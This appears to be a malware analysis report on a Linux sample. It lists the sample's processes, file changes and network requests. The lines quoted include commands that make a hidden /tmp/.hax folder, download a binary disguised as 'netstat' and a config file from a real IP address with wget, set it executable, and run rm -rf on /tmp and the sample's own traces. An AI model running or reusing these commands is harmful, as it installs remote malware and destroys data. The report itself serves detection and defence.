Technical Information
Malicious functions:
Removes itself
Launches processes:
- mkdir /tmp/.hax/
- rm -rf /tmp/*
- rm -rf <SAMPLE_FULL_PATH> /root/run.sh /root/stdout.log
- sh -c cd /tmp/.hax/; wget http://51.158.102.106/z -O - > /tmp/.hax/netstat; chmod 777 /tmp/.hax/netstat
- wget http://51.158.102.106/z -O -
- chmod 777 /tmp/.hax/netstat
- sh -c cd /tmp/.hax/; wget http://51.158.102.106/config.json
- wget http://51.158.102.106/config.json
Performs operations with the file system:
Modifies file access rights:
- /tmp/.hax/netstat
Creates folders:
- /tmp/.hax
Creates or modifies files:
- /tmp/.hax/netstat
- /root/stdout.log (deleted)
- /tmp/.hax/config.json
Deletes files:
- /tmp/*
- /root/run.sh
Network activity:
HTTP GET requests:
- 51.###.102.106/z
- 51.###.#02.106/config.json